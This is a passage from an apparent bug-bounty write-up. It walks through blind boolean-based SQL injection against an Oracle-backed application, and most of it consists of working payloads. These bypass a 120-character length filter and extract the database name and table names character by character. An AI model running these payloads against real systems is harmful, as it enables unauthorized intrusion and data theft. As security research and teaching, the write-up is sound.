&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        	ELSE 1/0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    	END
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    ) FROM DUAL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;) IS NULL OR &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;discovering-length-filter&#34;&gt;Discovering Length Filter&lt;/h3&gt;
&lt;p&gt;After doing a little back and forth with the payloads, I realized that some payloads were not acting as they should be.&lt;/p&gt;
&lt;p&gt;For example, the following payload resulted in a &lt;code&gt;302 Found&lt;/code&gt; response rather than a &lt;code&gt;200 OK&lt;/code&gt; response:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;123&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    SELECT (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    	CASE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        	WHEN (12345678901234567890=12345678901234567890) THEN NULL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        	ELSE 1/0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    	END
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    ) FROM DUAL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;) IS NULL OR &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Although they are both the same numbers, the server was resulting in a &lt;code&gt;302 Found&lt;/code&gt; response. Usually, the server responded in a &lt;code&gt;302 Found&lt;/code&gt; response when we sent a character that the server was filtering.&lt;/p&gt;
&lt;p&gt;However, we did not send any bad characters in this payload. The &lt;code&gt;1=1&lt;/code&gt; payload was found to be working previously.&lt;/p&gt;
&lt;p&gt;I changed the condition from &lt;code&gt;12345678901234567890=12345678901234567890&lt;/code&gt; to &lt;code&gt;1234567890=1234567890&lt;/code&gt; and the server returned &lt;code&gt;200 OK&lt;/code&gt; with a &lt;code&gt;true&lt;/code&gt; response.&lt;/p&gt;
&lt;p&gt;This was evident that something weird happened when we sent a large payload. There must be some sort of length filter on the backend that prevents us from sending long payloads.&lt;/p&gt;
&lt;p&gt;After adding one character at a time, I figured out that if we send any more characters than &lt;strong&gt;120&lt;/strong&gt;, the server would not process the request and we would receive a &lt;code&gt;302 Found&lt;/code&gt; response. Whatever payload we use must be less than or equal to 120 characters.&lt;/p&gt;
&lt;p&gt;I tried to see ways in which I could shorten the payload. I learned that we can replace &lt;code&gt;NULL&lt;/code&gt; with &lt;code&gt;1&lt;/code&gt; in the payload and it will work just fine. The resulting &lt;em&gt;shorter&lt;/em&gt; payload was:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	SELECT (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		CASE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;			WHEN (1=1) THEN 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;			ELSE 1/0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		END
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	) FROM DUAL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;)=1 OR &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We moved from requiring 86 characters to 74 characters! Excellent!&lt;/p&gt;
&lt;p&gt;I suspected that the &lt;code&gt;SELECT&lt;/code&gt; statement around the &lt;code&gt;CASE...WHEN&lt;/code&gt; statement was necessary. I tried removing it and it turns out that it was optional! We can directly use &lt;code&gt;CASE...WHEN&lt;/code&gt; without wrapping it using &lt;code&gt;SELECT&lt;/code&gt;. Our payload was even shorter now.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	CASE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		WHEN (1=2) THEN 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		ELSE 1/0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	END
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;)=1 OR &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This payload was merely 55 characters long!&lt;/p&gt;
&lt;h3 id=&#34;dumping-the-database-name&#34;&gt;Dumping The Database Name&lt;/h3&gt;
&lt;p&gt;It was now time to enumerate the database names. My strategy to dump the database name was as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Find out the length of the current database name. We will refer to the length of the database as &lt;code&gt;len&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Use a substring payload where the &lt;code&gt;SUBSTR()&lt;/code&gt; function starts from the first character of the database and goes till &lt;code&gt;len&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Enumerate one character at a time.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To determine the database length, I used the following payload:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	CASE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		WHEN ((SELECT LENGTH(SYS.DATABASE_NAME) FROM DUAL)&amp;gt;0) THEN 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		ELSE 1/0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	END
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;)=1 OR &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above payload checks if the length of the current database name is greater than 0. This is true for any database name. Hence, we get a &lt;code&gt;true&lt;/code&gt; response.&lt;/p&gt;
&lt;p&gt;By increasing one number at a time, we get to know that the database name is exactly &lt;strong&gt;6&lt;/strong&gt; characters long.&lt;/p&gt;
&lt;p&gt;To dump the database name, I used a &lt;code&gt;SUBSTR()&lt;/code&gt; payload that looks like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	CASE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		WHEN ((SELECT ASCII(SUBSTR(SYS.DATABASE_NAME,1,1)) FROM DUAL)&amp;gt;0) THEN 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		ELSE 1/0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	END
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;)=1 OR &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;payload-explanation-1&#34;&gt;Payload Explanation&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;SUBSTR(SYS.DATABASE_NAME,1,1)&lt;/code&gt;: This part returns the very first character of the database name.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ASCII(...)&lt;/code&gt;: This function converts the first character of the database name to its corresponding ASCII value.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ASCII(SUBSTR(...))&amp;gt;0&lt;/code&gt;: This part checks if the ASCII value of the first character is greater than 0 (which is always true unless the server uses Unicode database names).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In theory, we can keep increasing from &lt;code&gt;0&lt;/code&gt; to up to &lt;code&gt;127&lt;/code&gt;. However, valid database names start after &lt;code&gt;45&lt;/code&gt; (ASCII value of &lt;code&gt;-&lt;/code&gt;) and go up to &lt;code&gt;122&lt;/code&gt; (ASCII value of lowercase &lt;code&gt;z&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;I did the brute force for each character and found out the database name to be &amp;ldquo;&lt;strong&gt;SYNACK&lt;/strong&gt;&amp;rdquo; (obviously fake because I will not reveal client details).&lt;/p&gt;
&lt;h3 id=&#34;dumping-the-table-name&#34;&gt;Dumping The Table Name&lt;/h3&gt;
&lt;p&gt;Now that we know the database name, it was our turn to dump the table names. Using &lt;a href=&#34;https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md&#34;&gt;PayloadsAllTheThings&lt;/a&gt;, I came across the following query:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;SELECT&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;table_name&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;FROM&lt;/span&gt; all_tables
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, this query would return multiple rows in the response. Using our technique, we can only dump one row and one column, one character at a time. It is very slow but this is the best that we have got.&lt;/p&gt;
&lt;p&gt;Following the PayloadsAllTheThings page, I knew that we could use the &lt;code&gt;ROWNUM&lt;/code&gt; pseudo-column to filter from the number of rows returned by the query. Incorporating this into our payload, this was our payload that finds the length of the first table from the &lt;code&gt;all_tables&lt;/code&gt; view:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	CASE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		WHEN ((SELECT LENGTH(table_name,1,1) FROM all_tables WHERE ROWNUM=1)=0) THEN 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		ELSE 1/0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	END
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;)=1 OR &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Increasing the number, I found out that the table was &lt;strong&gt;4&lt;/strong&gt; characters long.&lt;/p&gt;
&lt;p&gt;After using a &lt;code&gt;SUBSTR()&lt;/code&gt; payload, I discovered the table name was &amp;ldquo;&lt;strong&gt;DUAL&lt;/strong&gt;&amp;rdquo;. :/ For a practical proof-of-concept, we will need a table that is not a system table. It should contain some client data.&lt;/p&gt;
&lt;p&gt;I changed from &lt;code&gt;ROWNUM=1&lt;/code&gt; to &lt;code&gt;ROWNUM=2&lt;/code&gt; in the hope that it would give me the next row. However, in Oracle, the &lt;code&gt;ROWNUM&lt;/code&gt; pseudo-column works in an unexpected way. We cannot directly provide a row number apart from &lt;code&gt;ROWNUM=1&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;finding-a-way-to-use-limits-and-offsets&#34;&gt;Finding A Way To Use Limits And Offsets&lt;/h3&gt;
&lt;p&gt;We had to find a different solution that would limit the number of rows returned by the SQL query. MySQL has &lt;code&gt;LIMIT&lt;/code&gt; and &lt;code&gt;OFFSET&lt;/code&gt; statements that can be used to limit the number of rows. I knew a little about Oracle limits. Upon doing further Google searches, I found out that we need to use &lt;code&gt;OFFSET...FETCH&lt;/code&gt; statements if we wish to limit the results.&lt;/p&gt;
&lt;p&gt;An example usage would be like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND (
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	CASE
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		WHEN ((SELECT LENGTH(table_name,1,1) FROM all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY)=0) THEN 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;		ELSE 1/0
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;	END
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;)=1 OR &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, this payload would exceed our maximum limit of 120 characters. :(&lt;/p&gt;
&lt;h3 id=&#34;finding-the-shortest-possible-payload&#34;&gt;Finding The Shortest Possible Payload&lt;/h3&gt;
&lt;p&gt;I shifted my focus toward crafting the shortest payload that would give me a boolean response. I played around with the payload a bit and I discovered that in some places, spaces were optional. We could eliminate spaces!&lt;/p&gt;
&lt;p&gt;For example, consider the following &lt;code&gt;CASE...WHEN&lt;/code&gt; payload&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;CASE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;WHEN&lt;/span&gt; (&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;THEN&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;ELSE&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;END&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;-- 35 characters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This can be rewritten to eliminate spaces like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;CASE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;WHEN&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&lt;span style=&#34;color:#66d9ef&#34;&gt;THEN&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;ELSE&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;END&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;-- 31 characters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Considering this in mind, I crafted the shortest possible payload that provided me with a boolean response as:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;AND(CASE WHEN(1=1)THEN 1ELSE 1/0END)=1OR&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;-- 47 characters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;By doing this, we effectively moved from 86 characters to 47 characters. This was a massive improvement!&lt;/p&gt;
&lt;h3 id=&#34;successfully-dumping-table-names&#34;&gt;Successfully Dumping Table Names&lt;/h3&gt;
&lt;p&gt;With our refined payload and using offsets, I went on to dump the table names. I skipped the first table that was &amp;ldquo;DUAL&amp;rdquo; and started dumping the second table name. To do this, I used the following payload:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;AND(CASE WHEN((SELECT table_name FROM all_tables OFFSET 1 ROWS FETCH NEXT 1 ROWS ONLY)&amp;gt;&amp;#39;&lt;/span&gt;A&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)THEN 1ELSE 1/0END)=1OR&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;-- 120 characters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Using this payload, I dumped the first three characters from the table name that was &amp;ldquo;&lt;strong&gt;SYS&lt;/strong&gt;&amp;rdquo;. After dumping the third character, the payload becomes exactly 120 characters long and we cannot dump any further.&lt;/p&gt;
&lt;p&gt;I found a workaround for this by using the &lt;code&gt;LIKE&lt;/code&gt; statement and eliminating offsets and limits. Here is the payload that I used:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;AND(CASE WHEN((SELECT COUNT(*) FROM all_tables WHERE table_name LIKE &amp;#39;&lt;/span&gt;SYS_______&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)&amp;gt;0)THEN 1ELSE 1/0END)=1OR&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;-- 114 characters
